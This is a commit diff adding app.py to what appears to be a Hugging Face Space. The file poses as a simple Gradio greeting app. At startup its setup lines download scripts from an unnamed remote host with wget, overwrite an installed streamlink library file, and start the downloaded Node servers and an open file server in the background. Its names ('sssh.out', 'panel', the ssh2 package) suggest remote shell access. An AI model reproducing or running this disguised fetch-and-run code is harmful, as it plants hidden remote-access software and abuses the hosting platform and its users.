Upload app.py with huggingface_hub
Browse files
app.py
ADDED
|
@@ -0,0 +1,35 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import gradio as gr
|
| 2 |
+
import subprocess
|
| 3 |
+
import sys
|
| 4 |
+
import os
|
| 5 |
+
import signal
|
| 6 |
+
subprocess.run('apt-get install nodejs -y', shell=True)
|
| 7 |
+
subprocess.run('apt-get install npm -y', shell=True)
|
| 8 |
+
subprocess.run('apt-get install ffmpeg -y', shell=True)
|
| 9 |
+
|
| 10 |
+
subprocess.run('apt-get install htop -y', shell=True)
|
| 11 |
+
subprocess.run('apt-get install nano -y', shell=True)
|
| 12 |
+
subprocess.run('npm install express', shell=True)
|
| 13 |
+
subprocess.run('npm install cors', shell=True)
|
| 14 |
+
|
| 15 |
+
subprocess.run('npm install express ws ssh2', shell=True)
|
| 16 |
+
|
| 17 |
+
|
| 18 |
+
subprocess.run('wget -O /home/user/app/http_session.py http://$host/hg2/http_session.py', shell=True)
|
| 19 |
+
subprocess.run('wget -O /home/user/app/server4.js http://$host/2026/server4.js', shell=True)
|
| 20 |
+
subprocess.run('wget -O /home/user/app/server3.js http://$host/panel/server.js', shell=True)
|
| 21 |
+
|
| 22 |
+
|
| 23 |
+
|
| 24 |
+
subprocess.run('python3 -m pip install --upgrade git+https://github.com/WesleySouto/streamlink.git', shell=True)
|
| 25 |
+
subprocess.run('mv /home/user/app/http_session.py /usr/local/lib/python3.10/site-packages/streamlink/plugin/api/http_session.py', shell=True)
|
| 26 |
+
|
| 27 |
+
|
| 28 |
+
subprocess.run('nohup node /home/user/app/server4.js > sssh55555.out 2>&1 &', shell=True)
|
| 29 |
+
subprocess.run('nohup node /home/user/app/server3.js > sssh.out 2>&1 &', shell=True)
|
| 30 |
+
subprocess.run('nohup python3 -m http.server --directory /home/user/app/ 8686 > htt.out 2>&1 &', shell=True)
|
| 31 |
+
def greet(name):
|
| 32 |
+
return "Hello " + name + "!!"
|
| 33 |
+
|
| 34 |
+
demo = gr.Interface(fn=greet, inputs="text", outputs="text")
|
| 35 |
+
demo.launch()
|